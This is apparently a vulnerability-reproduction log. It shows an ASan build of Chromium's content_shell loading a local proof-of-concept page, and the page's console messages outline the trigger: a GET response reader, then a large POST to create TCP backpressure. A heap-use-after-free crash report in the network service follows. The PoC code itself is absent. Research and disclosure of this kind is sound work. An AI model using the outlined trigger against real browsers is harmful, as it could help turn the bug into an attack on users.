X.Org X Server 1.21.1.20 X Protocol Version 11, Revision 0 Current Operating System: Linux frite.c.googlers.com 6.17.13-1rodete1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.17.13-1rodete1 (2026-01-05) x86_64 Kernel command line: ima_hash=sha256 kfence.sample_interval=100 intel_iommu=sm_off pci=noats printk.devkmsg=on slab_nomerge lsm=landlock,lockdown,yama,loadpin,safesetid,integrity,apparmor,selinux,smack,tomoyo,bpf apparmor=1 panic=30 glinux-boot-image=default-20260305.09.05 earlycon=uart8250,io,0x3f8 console=ttyS0,115200n8 console=hvc0 console=tty0 splash plymouth.ignore-serial-consoles i915.enable_psr=0 xorg-server 2:21.1.20-1+gl0 (https://www.debian.org/support) Current version of pixman: 0.46.4 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/usr/local/google/home/titouan/.local/share/xorg/Xorg.106.log", Time: Fri Apr 17 12:13:39 2026 (++) Using config file: "/tmp/xorg-418133cfedc04fc385118101b9b793a3.config" (==) Using system config directory "/usr/share/X11/xorg.conf.d" The XKEYBOARD keymap compiler (xkbcomp) reports: > Warning: Could not resolve keysym XF86OK > Warning: Could not resolve keysym XF86GoTo > Warning: Could not resolve keysym XF86VendorLogo > Warning: Could not resolve keysym XF86MediaSelectProgramGuide > Warning: Could not resolve keysym XF86MediaSelectProgramGuide > Warning: Could not resolve keysym XF86MediaSelectHome > Warning: Could not resolve keysym XF86MediaLanguageMenu > Warning: Could not resolve keysym XF86MediaTitleMenu > Warning: Could not resolve keysym XF86AudioChannelMode > Warning: Could not resolve keysym XF86MediaSelectPC > Warning: Could not resolve keysym XF86MediaSelectTV > Warning: Could not resolve keysym XF86MediaSelectCable > Warning: Could not resolve keysym XF86MediaSelectVCR > Warning: Could not resolve keysym XF86MediaSelectVCRPlus > Warning: Could not resolve keysym XF86MediaSelectSatellite > Warning: Could not resolve keysym XF86MediaSelectCD > Warning: Could not resolve keysym XF86MediaSelectTape > Warning: Could not resolve keysym XF86MediaSelectRadio > Warning: Could not resolve keysym XF86MediaSelectTuner > Warning: Could not resolve keysym XF86MediaPlayer > Warning: Could not resolve keysym XF86MediaSelectTeletext > Warning: Could not resolve keysym XF86MediaSelectAuxiliary > Warning: Could not resolve keysym XF86MediaPlaySlow > Warning: Could not resolve keysym XF86NumberEntryMode > Warning: Could not resolve keysym XF86RefreshRateToggle > Warning: Could not resolve keysym XF86Accessibility > Warning: Could not resolve keysym XF86DoNotDisturb Errors from xkbcomp are not fatal to the X server Openbox-Message: Unable to find a valid menu file "/var/lib/openbox/debian-menu.xml" Additional test environment: CHROME_HEADLESS=1 LANG=en_US.UTF-8 Command: chromium-147.0.7727.101-linux-asan/content_shell --no-sandbox --ignore-certificate-errors --user-data-dir=/tmp/poc-1776420819 http://localhost:8888/poc.html DevTools listening on ws://127.0.0.1:45321/devtools/browser/f39a9060-7a27-470b-bc40-576da27bca8a [4000784:4000784:0417/121341.318016:WARNING:sandbox/policy/linux/sandbox_linux.cc:405] InitializeSandbox() called with multiple threads in process gpu-process. [4000784:4000784:0417/121341.332043:WARNING:ui/gfx/linux/gbm_support_x11.cc:48] dri3 extension not supported. [4000760:4000760:0417/121341.480207:INFO:CONSOLE:11] "[*] Starting exploit...", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.480477:INFO:CONSOLE:11] "[*] Step 1: Sending GET to set up response reader...", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.711591:INFO:CONSOLE:11] "[+] Got GET response: 200", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.712102:INFO:CONSOLE:11] "[+] reader.read() initiated", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.712202:INFO:CONSOLE:11] "[*] Step 2: Sending POST to create TCP backpressure...", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.731455:INFO:CONSOLE:11] "[+] POST sent (8388608 bytes)", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121341.731649:INFO:CONSOLE:11] "[*] Step 3: Waiting for exploit payload...", source: http://localhost:8888/poc.html (11) [4000791:4000839:0417/121351.769944:WARNING:net/spdy/spdy_session.cc:2498] Draining session due to exceeding max queued capped frames ================================================================= ==4000791==ERROR: AddressSanitizer: heap-use-after-free on address 0x7cb20c646394 at pc 0x557a07f105af bp 0x7b4202793850 sp 0x7b4202793848 WRITE of size 4 at 0x7cb20c646394 thread T6 (Chrome_ChildIOT) ==4000791==WARNING: invalid path to external symbolizer! ==4000791==WARNING: Failed to use and restart external symbolizer! #0 0x557a07f105ae (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee915ae) (BuildId: 2f52028ec8b7293b) #1 0x557a07f1a82e (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee9b82e) (BuildId: 2f52028ec8b7293b) #2 0x557a07ea66b1 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee276b1) (BuildId: 2f52028ec8b7293b) #3 0x557a07ea59cf (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee269cf) (BuildId: 2f52028ec8b7293b) #4 0x557a07ea9484 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee2a484) (BuildId: 2f52028ec8b7293b) #5 0x557a07ea8d63 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee29d63) (BuildId: 2f52028ec8b7293b) #6 0x557a07ea8627 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee29627) (BuildId: 2f52028ec8b7293b) #7 0x557a07e9226d (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee1326d) (BuildId: 2f52028ec8b7293b) #8 0x557a07e96491 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee17491) (BuildId: 2f52028ec8b7293b) #9 0x557a06b4e22b (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dacf22b) (BuildId: 2f52028ec8b7293b) #10 0x557a06b50d00 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dad1d00) (BuildId: 2f52028ec8b7293b) #11 0x557a06a1bf96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d99cf96) (BuildId: 2f52028ec8b7293b) #12 0x557a06a94b09 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da15b09) (BuildId: 2f52028ec8b7293b) #13 0x557a06a9397a (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da1497a) (BuildId: 2f52028ec8b7293b) #14 0x557a06c0dc96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db8ec96) (BuildId: 2f52028ec8b7293b) #15 0x557a06a96217 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da17217) (BuildId: 2f52028ec8b7293b) #16 0x557a069a8cc0 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d929cc0) (BuildId: 2f52028ec8b7293b) #17 0x557a06b2f24c (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab024c) (BuildId: 2f52028ec8b7293b) #18 0x557a10cb7d83 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x27c38d83) (BuildId: 2f52028ec8b7293b) #19 0x557a06b2f851 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab0851) (BuildId: 2f52028ec8b7293b) #20 0x557a06b8dfae (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db0efae) (BuildId: 2f52028ec8b7293b) #21 0x5579f5a9fc46 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca20c46) (BuildId: 2f52028ec8b7293b) 0x7cb20c646394 is located 148 bytes inside of 648-byte region [0x7cb20c646300,0x7cb20c646588) freed by thread T6 (Chrome_ChildIOT) here: #0 0x5579f5adc002 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca5d002) (BuildId: 2f52028ec8b7293b) #1 0x557a07ebaf15 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee3bf15) (BuildId: 2f52028ec8b7293b) #2 0x557a07ebd580 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee3e580) (BuildId: 2f52028ec8b7293b) #3 0x557a07eb64a8 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee374a8) (BuildId: 2f52028ec8b7293b) #4 0x557a07ec45ae (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee455ae) (BuildId: 2f52028ec8b7293b) #5 0x557a07ebcb60 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee3db60) (BuildId: 2f52028ec8b7293b) #6 0x557a07ebc533 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee3d533) (BuildId: 2f52028ec8b7293b) #7 0x557a07f1038d (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee9138d) (BuildId: 2f52028ec8b7293b) #8 0x557a07f1a82e (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee9b82e) (BuildId: 2f52028ec8b7293b) #9 0x557a07ea66b1 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee276b1) (BuildId: 2f52028ec8b7293b) #10 0x557a07ea59cf (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee269cf) (BuildId: 2f52028ec8b7293b) #11 0x557a07ea9484 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee2a484) (BuildId: 2f52028ec8b7293b) #12 0x557a07ea8d63 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee29d63) (BuildId: 2f52028ec8b7293b) #13 0x557a07ea8627 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee29627) (BuildId: 2f52028ec8b7293b) #14 0x557a07e9226d (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee1326d) (BuildId: 2f52028ec8b7293b) #15 0x557a07e96491 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee17491) (BuildId: 2f52028ec8b7293b) #16 0x557a06b4e22b (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dacf22b) (BuildId: 2f52028ec8b7293b) #17 0x557a06b50d00 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dad1d00) (BuildId: 2f52028ec8b7293b) #18 0x557a06a1bf96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d99cf96) (BuildId: 2f52028ec8b7293b) #19 0x557a06a94b09 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da15b09) (BuildId: 2f52028ec8b7293b) #20 0x557a06a9397a (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da1497a) (BuildId: 2f52028ec8b7293b) #21 0x557a06c0dc96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db8ec96) (BuildId: 2f52028ec8b7293b) #22 0x557a06a96217 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da17217) (BuildId: 2f52028ec8b7293b) #23 0x557a069a8cc0 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d929cc0) (BuildId: 2f52028ec8b7293b) #24 0x557a06b2f24c (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab024c) (BuildId: 2f52028ec8b7293b) #25 0x557a10cb7d83 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x27c38d83) (BuildId: 2f52028ec8b7293b) #26 0x557a06b2f851 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab0851) (BuildId: 2f52028ec8b7293b) #27 0x557a06b8dfae (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db0efae) (BuildId: 2f52028ec8b7293b) #28 0x5579f5a9fc46 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca20c46) (BuildId: 2f52028ec8b7293b) previously allocated by thread T6 (Chrome_ChildIOT) here: #0 0x5579f5adb3fd (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca5c3fd) (BuildId: 2f52028ec8b7293b) #1 0x557a07ec2473 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee43473) (BuildId: 2f52028ec8b7293b) #2 0x557a07eafd79 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee30d79) (BuildId: 2f52028ec8b7293b) #3 0x557a07eaee52 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee2fe52) (BuildId: 2f52028ec8b7293b) #4 0x557a07e8ad01 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee0bd01) (BuildId: 2f52028ec8b7293b) #5 0x557a07fae6f5 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ef2f6f5) (BuildId: 2f52028ec8b7293b) #6 0x557a07fa4222 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ef25222) (BuildId: 2f52028ec8b7293b) #7 0x557a07fa06df (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ef216df) (BuildId: 2f52028ec8b7293b) #8 0x557a07fa9d21 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ef2ad21) (BuildId: 2f52028ec8b7293b) #9 0x557a07b76533 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1eaf7533) (BuildId: 2f52028ec8b7293b) #10 0x557a07b6d36d (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1eaee36d) (BuildId: 2f52028ec8b7293b) #11 0x557a06a1bf96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d99cf96) (BuildId: 2f52028ec8b7293b) #12 0x557a06a94b09 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da15b09) (BuildId: 2f52028ec8b7293b) #13 0x557a06a9397a (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da1497a) (BuildId: 2f52028ec8b7293b) #14 0x557a06c0dc96 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db8ec96) (BuildId: 2f52028ec8b7293b) #15 0x557a06a96217 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1da17217) (BuildId: 2f52028ec8b7293b) #16 0x557a069a8cc0 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1d929cc0) (BuildId: 2f52028ec8b7293b) #17 0x557a06b2f24c (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab024c) (BuildId: 2f52028ec8b7293b) #18 0x557a10cb7d83 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x27c38d83) (BuildId: 2f52028ec8b7293b) #19 0x557a06b2f851 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1dab0851) (BuildId: 2f52028ec8b7293b) #20 0x557a06b8dfae (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db0efae) (BuildId: 2f52028ec8b7293b) #21 0x5579f5a9fc46 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca20c46) (BuildId: 2f52028ec8b7293b) Thread T6 (Chrome_ChildIOT) created by T0 (content_shell) here: #0 0x5579f5a85a71 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca06a71) (BuildId: 2f52028ec8b7293b) #1 0x557a06b8d602 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1db0e602) (BuildId: 2f52028ec8b7293b) #2 0x557a06b2e445 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1daaf445) (BuildId: 2f52028ec8b7293b) #3 0x557a10cb6b01 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x27c37b01) (BuildId: 2f52028ec8b7293b) #4 0x557a0526b29e (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1c1ec29e) (BuildId: 2f52028ec8b7293b) #5 0x5579f6289955 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xd20a955) (BuildId: 2f52028ec8b7293b) #6 0x5579f628c808 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xd20d808) (BuildId: 2f52028ec8b7293b) #7 0x5579f6285ac1 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xd206ac1) (BuildId: 2f52028ec8b7293b) #8 0x5579f62860bc (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xd2070bc) (BuildId: 2f52028ec8b7293b) #9 0x5579f5adc938 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0xca5d938) (BuildId: 2f52028ec8b7293b) #10 0x7f420e229f74 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f74) (BuildId: f13b8a5d5cd39727792736394456f00d222c38c4) #11 0x7ffcf46d0317 () SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee915ae) (BuildId: 2f52028ec8b7293b) Shadow bytes around the buggy address: 0x7cb20c646100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646200: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa 0x7cb20c646280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa 0x7cb20c646300: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x7cb20c646380: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7cb20c646580: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7cb20c646600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4000791==ADDITIONAL INFO ==4000791==Note: Please include this section with the ASan report. Task trace: #0 0x557a07e90cb1 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee11cb1) (BuildId: 2f52028ec8b7293b) #1 0x557a07ec5642 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee46642) (BuildId: 2f52028ec8b7293b) #2 0x557a07ec5642 (/usr/local/google/home/titouan/shepherd/builds/chromium-147.0.7727.101-linux-asan/content_shell+0x1ee46642) (BuildId: 2f52028ec8b7293b) Command line: `/proc/self/exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=network --no-sandbox --ignore-certificate-errors --ignore-certificate-errors --shared-files=network_parent_dirs_pipe:100,v8_context_snapshot_data:101 --field-trial-handle=3,i,9970575762464025572,9922297627611762644,262144 --variations-seed-version --pseudonymization-salt-handle=7,i,2863466481085920501,9625534378624540669,4 --trace-process-track-uuid=3190708990060038890` MiraclePtr Status: NOT PROTECTED No raw_ptr access to this region was detected prior to this crash. This crash is still exploitable with MiraclePtr. Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details. ==4000791==END OF ADDITIONAL INFO ==4000791==ABORTING [4000760:4000760:0417/121351.818993:ERROR:content/browser/network_service_instance_impl.cc:703] Network service crashed or was terminated, restarting service. [4000760:4000760:0417/121351.843253:INFO:CONSOLE:11] "[!] Error (expected if crash): TypeError: network error", source: http://localhost:8888/poc.html (11) [4000760:4000760:0417/121351.843514:INFO:CONSOLE:11] "[*] Exploit sequence complete. Check ASAN output.", source: http://localhost:8888/poc.html (11)